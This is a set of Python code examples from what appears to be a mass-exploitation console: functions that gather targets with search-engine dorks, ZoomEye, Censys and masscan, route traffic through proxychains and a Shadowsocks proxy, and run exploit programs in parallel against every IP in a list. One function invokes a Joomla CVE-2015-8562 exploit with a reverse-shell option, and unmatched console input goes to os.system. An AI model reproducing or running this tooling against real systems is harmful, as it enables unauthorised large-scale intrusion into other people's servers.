Ejemplo n.º 1
0
def main():
    '''
    manage procedure
    '''

    answ = str(
        input(colors.CYAN + '[?] Use ip_list.txt as target list? [y/n] ' +
              colors.END)).strip()
    if answ.lower() == 'n':
        os.system("ls data")
        SESSION.ip_list = SESSION.init_dir + '/data/' + \
            input_check(
                '[=] Choose your target IP list, eg. ip_list.txt ',
                choices=os.listdir('data'))
    while True:
        try:
            cmd = input(colors.CYAN + colors.BOLD + colors.UNDERLINE +
                        "\nmec" + colors.END + colors.CYAN + colors.BOLD +
                        " > " + colors.END)
            try:
                execute(cmd)
            except (KeyboardInterrupt, EOFError, SystemExit):
                sys.exit(0)
        except KeyboardInterrupt:
            try:
                answ = input("\n[?] Are you sure to exit? [y/n] ")
            except KeyboardInterrupt:
                print("\n[-] Okay okay, exiting immediately...")
                check_kill_process('ss-proxy')
                sys.exit(0)
            if answ.lower() == 'y':
                check_kill_process('ss-proxy')
                sys.exit(0)
            else:
                continue
Ejemplo n.º 2
0
def scanner(scanner_args):
    '''
    Execute exploit against given ip list
    '''

    # looks ugly, but since it works well, im not planning a rewrite
    try:
        work_path, exec_path = scanner_args.work_path, scanner_args.exec_path
        custom_args, jobs = scanner_args.custom_args, scanner_args.jobs
    except BaseException:
        return

    if SESSION.use_proxy:
        e_args = [
            'proxychains4', '-q', '-f', SESSION.proxy_conf, './' + exec_path
        ]
    else:
        e_args = ['./' + exec_path]

    # add custom arguments for different exploits
    e_args += custom_args
    # the last argument is target host
    e_args += ['-t']

    try:
        target_list = open(SESSION.ip_list)
    except BaseException as exc:
        console.print_error('[-] Error occured: {}\n'.format(exc))
        debug_except()
        return

    try:
        os.chdir('./exploits/' + work_path)
    except FileNotFoundError:
        console.print_error("[-] Can't chdir to " + work_path)
        debug_except()
    console.print_warning('\n[!] DEBUG: ' + str(e_args) + '\nWorking in ' +
                          os.getcwd())

    # you might want to cancel the scan to correct some errors
    if input_check('[?] Proceed? [y/n] ', choices=['y', 'n']) == 'n':
        return

    # save stdout to logfile
    try:
        logfile = open(SESSION.logfile, "a+")
    except FileNotFoundError:
        console.print_error("[-] Log file not found")

    # needed for the loop
    procs = []
    pids = []  # collects all pids, check if empty when finishing
    count = len(procs)

    # display help for viewing logs
    print(colors.CYAN +
          "[*] Use `tail -f {}` to view logs\n\n".format(SESSION.logfile))

    # use progress bar
    with open(SESSION.ip_list) as iplistf:
        total = len([0 for _ in iplistf])
        iplistf.close()
    pbar = tqdm.tqdm(total=total, ncols=80, desc="[*] Processing targets")

    for line in target_list:
        target_ip = line.strip()

        # mark this loop as done
        count = len(procs)

        try:
            # start and display current process
            e_args += [target_ip]

            proc = subprocess.Popen(e_args, stdout=logfile, stderr=logfile)
            procs.append(proc)
            pids.append(proc.pid)
            pbar.set_description(desc="[*] Processing {}".format(target_ip))

            # continue to next target
            e_args.remove(target_ip)

            # process pool
            if count == jobs:
                for item in procs:
                    if psutil.pid_exists(item.pid):
                        timer_proc = Process(target=proc_timer, args=(item, ))
                        timer_proc.start()
                    else:
                        pids.remove(item.pid)

                procs = []

        except (EOFError, KeyboardInterrupt, SystemExit):
            # killall running processes
            check_kill_process(exec_path)

            logfile.close()
            pbar.close()
            console.print_error("[-] Task aborted")
            os.chdir(SESSION.init_dir)
            return

        except BaseException as exc:
            console.print_error("[-] Exception: {}\n".format(str(exc)))
            logfile.write("[-] Exception: " + str(exc) + "\n")

        finally:
            # check if any pids are done
            try:
                for pid in pids:
                    if not psutil.pid_exists(pid):
                        pids.remove(pid)
                        pbar.update(1)
            except BaseException:
                pass

    # make sure all processes are done
    if pids:
        time.sleep(10)

    # kill everything thats going to be a zombie, close logfile, exit progress bar, and print done flag
    check_kill_process(exec_path)
    logfile.close()
    pbar.close()
    os.chdir(SESSION.init_dir)
    console.print_success('\n[+] All done!\n')
Ejemplo n.º 3
0
def execute(cmd):
    '''
    handles user input in console
    '''

    # lol i don't want any errors here
    cmd = str(cmd).lower().strip()

    if cmd == '':
        return
    if cmd == "masscan":
        # check root, as masscan requires root privilege
        if os.geteuid() != 0:
            console.print_error(
                "[-] Please run mec as root in order to run masscan")
            return

        ports = console.input_check(
            "[?] What ports do you want to scan (eg. 80 443)? ").split()

        try:
            scan.masscan(ports)
        except KeyboardInterrupt:
            console.print_warning("[-] masscan exited")
    elif cmd == 'info':
        colored_print(
            '[*] Current directory: {}\
            \n[*] Init directory: {}\
            \n[*] Log file: {}\
            \n[*] Target: {}\
            \n[*] Proxy config: {}'.format(os.getcwd(), SESSION.init_dir,
                                           SESSION.logfile, SESSION.ip_list,
                                           SESSION.proxy_conf), colors.CYAN)

    elif cmd.startswith('target'):
        target = ''.join(cmd.split()[1:])
        if target not in os.listdir(SESSION.init_dir + '/data'):
            console.print_error("[-] Target file not found")
            return
        colored_print('[i] Target changed to {}'.format(target), colors.BLUE)
        SESSION.ip_list = SESSION.init_dir + \
            '/data/' + target

    elif cmd in ('init', 'i'):
        colored_print('[*] Going back to init_dir...', colors.BLUE)
        os.chdir(SESSION.init_dir)

    elif cmd.startswith('baidu'):
        try:
            command = cmd.strip().split()
            dork = command[1]
            count = int(command[2])
            os.chdir(SESSION.out_dir)
            colored_print('[*] Searching on Baidu...', colors.PURPLE)
            baidu.spider(dork, count)

            if yes_no("Use collected URL's as target?"):
                SESSION.ip_list = SESSION.init_dir + "result.txt"

        except (IndexError, EOFError, KeyboardInterrupt, SystemExit):
            return

    elif cmd == 'proxy':
        if not os.path.exists(SESSION.ss_config):
            console.print_error('[-] Please make sure {} exists'.format(
                SESSION.ss_config))
        try:
            subprocess.Popen([SESSION.proxy_bin, '-c', SESSION.ss_config],
                             stderr=subprocess.PIPE,
                             stdout=subprocess.PIPE,
                             shell=False)
        except BaseException as err:
            console.print_error('[-] Error starting Shadowsocks proxy: ' +
                                str(err))
            debug_except()

    elif cmd == 'redis':
        console.print_error('[-] Under development')

    elif cmd.startswith('google'):
        try:
            cmd = cmd.strip().split()
            dork = cmd[1]
            # well yes im a lazy guy
            subprocess.call([
                './exploits/joomla/joomlaCVE-2015-8562.py', '--dork', dork,
                '--revshell=\'127.0.0.1\'', '--port=4444'
            ])
        except BaseException as err:
            console.print_error(str(err))
            debug_except()

    elif cmd in ('q', 'quit'):
        check_kill_process('ss-proxy')
        sys.exit(0)

    elif cmd in ('h', 'help', '?'):
        print(console.HELP_INFO)

    elif cmd == 'exploits':
        colored_print('[+] Available exploits: ', colors.CYAN)
        for poc in list_exp():
            colored_print(poc, colors.BLUE)

    elif cmd in ('z', "zoomeye"):
        try:
            console.print_warning(
                "[*] ZoomEye now asks for phone verification (+86 only)")
            zoomeye.run()
        except (EOFError, KeyboardInterrupt, SystemExit):
            pass
        else:
            debug_except()
    elif cmd == "censys":
        try:
            output = censys.start()
            if yes_no("Use collected URL's as target?"):
                SESSION.ip_list = SESSION.init_dir + "/" + output
                colored_print(
                    '[i] Target changed to {}'.format(SESSION.ip_list),
                    colors.BLUE)

        except BaseException:
            return
    elif cmd in ('x', 'reset'):
        os.system("reset")

    elif cmd in ('c', 'clear'):
        os.system("clear")

    elif cmd in ("attack", "e"):
        attack()

    else:
        try:
            print(colors.BLUE + colors.BOLD + "[*] Exec: " + colors.END,
                  colors.GREEN + cmd, colors.END)
            os.system(cmd)
        except (EOFError, KeyboardInterrupt, SystemExit):
            return
Ejemplo n.º 4
0
def scanner(scanner_args):
    '''
    Execute exploit against given ip list
    '''

    # looks ugly, but since it works well, im not planning a rewrite
    work_path, exec_path = scanner_args.work_path, scanner_args.exec_path
    custom_args, jobs = scanner_args.custom_args, scanner_args.jobs

    if SESSION.use_proxy:
        e_args = [
            'proxychains4', '-q', '-f', SESSION.proxy_conf, './' + exec_path
        ]
    else:
        e_args = ['./' + exec_path]

    # add custom arguments for different exploits
    e_args += custom_args
    # the last argument is target host
    e_args += ['-t']

    try:
        target_list = open(SESSION.ip_list)
    except BaseException as exc:
        console.print_error('[-] Error occured: {}\n'.format(exc))
        debug_except()
        return

    try:
        os.chdir('./exploits/' + work_path)
    except FileNotFoundError:
        console.print_error("[-] Can't chdir to " + work_path)
        debug_except()
    console.print_warning('\n[!] DEBUG: ' + str(e_args) + '\nWorking in ' +
                          os.getcwd())

    # you might want to cancel the scan to correct some errors
    if input_check('[?] Proceed? [y/n] ', choices=['y', 'n']) == 'n':
        return

    console.print_warning('\n[!] It might be messy, get ready!' + '\n')
    time.sleep(2)

    # save stdout to logfile
    try:
        logfile = open(SESSION.logfile, "a+")
    except FileNotFoundError:
        console.print_error("[-] Log file not found")

    # needed for the loop
    procs = []
    count = len(procs)
    tested = count

    # use curses to display output
    import curses
    stdscr = curses.initscr()
    curses.start_color()
    curses.use_default_colors()
    curses.init_pair(1, curses.COLOR_CYAN, -1)
    curses.init_pair(2, curses.COLOR_WHITE, -1)
    curses.init_pair(3, curses.COLOR_GREEN, -1)

    for line in target_list:
        target_ip = line.strip()

        # clear screen for each output
        stdscr.refresh()

        # display progress info on top
        progress = str(tested) + ' targets found'

        # tail to get the last line of log file
        status = tail(SESSION.logfile)

        # mark this loop as done
        count = len(procs)
        tested += 1

        try:
            # start and display current process
            e_args += [target_ip]

            stdscr.addstr(0, 0, progress + '\n',
                          curses.A_BOLD | curses.color_pair(1))
            stdscr.addstr(2, 0, ' '.join(e_args) + '\n', curses.color_pair(3))
            stdscr.addstr(4, 0, status, curses.color_pair(2))

            proc = subprocess.Popen(e_args, stdout=logfile, stderr=logfile)
            procs.append(proc)

            # continue to next target
            e_args.remove(target_ip)
            time.sleep(.11)

            # process pool
            if count == jobs:
                # if returned any exit code, consider the process as done
                for item in procs:
                    item.communicate()
                    if item.returncode is not None:
                        item.kill()
                procs = []

        except (EOFError, KeyboardInterrupt, SystemExit):
            curses.endwin()
            for item in procs:
                if item.pid is not None:
                    item.kill()
            logfile.close()
            console.print_error("[-] Task aborted")

            # killall running processes
            check_kill_process(exec_path)
            return

    # close logfile, exit curses window, and print done flag
    curses.endwin()
    logfile.close()
    os.chdir(SESSION.init_dir)
    console.print_success('\n[+] All done!\n')
Ejemplo n.º 5
0
def execute(cmd):
    '''
    handles user input in console
    '''

    cmd = str(cmd).lower().strip()
    if cmd == '':
        return
    elif cmd == 'info':
        print(colors.CYAN + '[*] Current directory: {}\
            \n[*] Init directory: {}\
            \n[*] Target: {}\
            \n[*] Proxy config: {}'.format(os.getcwd(
        ), SESSION.init_dir, SESSION.ip_list, SESSION.proxy_conf) + colors.END)
    elif cmd.startswith('target'):
        target = ''.join(cmd.split()[1:])
        if not target in os.listdir(SESSION.init_dir + '/data'):
            return
        print(colors.BLUE + '[i] Target changed to {}'.format(target))
        SESSION.ip_list = SESSION.init_dir + \
            '/data/' + target
    elif cmd == 'init' or cmd == 'i':
        print(colors.CYAN + '[*] Going back to init_dir...' + colors.END)
        os.chdir(SESSION.init_dir)
    elif cmd.startswith('baidu'):
        try:
            command = cmd.strip().split()
            dork = command[1]
            count = int(command[2])
            os.chdir(SESSION.out_dir)
            print(colors.PURPLE + '[*] Searching on Baidu...' + colors.END)
            baidu.spider(dork, count)
        except (IndexError, EOFError, KeyboardInterrupt, SystemExit):
            return
    elif cmd == 'proxy':
        if not os.path.exists(SESSION.ss_config):
            console.print_error('[-] Please make sure {} exists'.format(
                SESSION.ss_config))
        try:
            subprocess.Popen([SESSION.proxy_bin, '-c', SESSION.ss_config],
                             stderr=subprocess.PIPE,
                             stdout=subprocess.PIPE,
                             shell=False)
        except BaseException as err:
            console.print_error('[-] Error starting Shadowsocks proxy: ' +
                                str(err))
            debug_except()
    elif cmd == 'redis':
        console.print_error('[-] Under development')
    elif cmd.startswith('google'):
        try:
            cmd = cmd.strip().split()
            dork = cmd[1]
            # well yes im a lazy guy
            subprocess.call([
                './exploits/joomla/joomlaCVE-2015-8562.py', '--dork', dork,
                '--revshell=\'127.0.0.1\'', '--port=4444'
            ])
        except BaseException as err:
            console.print_error(str(err))
            debug_except()
    elif cmd == 'q' or cmd == 'quit':
        check_kill_process('ss-proxy')
        sys.exit(0)
    elif cmd == 'h' or cmd == 'help' or cmd == '?':
        print(console.HELP_INFO)
    elif cmd == 'exploits':
        print(colors.CYAN + '[+] Available exploits: ' + colors.END)
        for poc in list_exp():
            print(colors.BLUE + poc + colors.END)
    elif cmd == 'z' or cmd == "zoomeye":
        try:
            zoomeye.run()
        except (EOFError, KeyboardInterrupt, SystemExit):
            pass
        else:
            debug_except()
    elif cmd == 'x' or cmd == 'clear':
        os.system("clear")
    elif cmd == 'c' or cmd == 'reset':
        os.system("reset")
    elif cmd == "attack" or cmd == "e":
        attack()
    else:
        try:
            print(colors.BLUE + colors.BOLD + "[*] Exec: " + colors.END +
                  colors.GREEN + cmd + colors.END + '\n')
            os.system(cmd)
        except (EOFError, KeyboardInterrupt, SystemExit):
            pass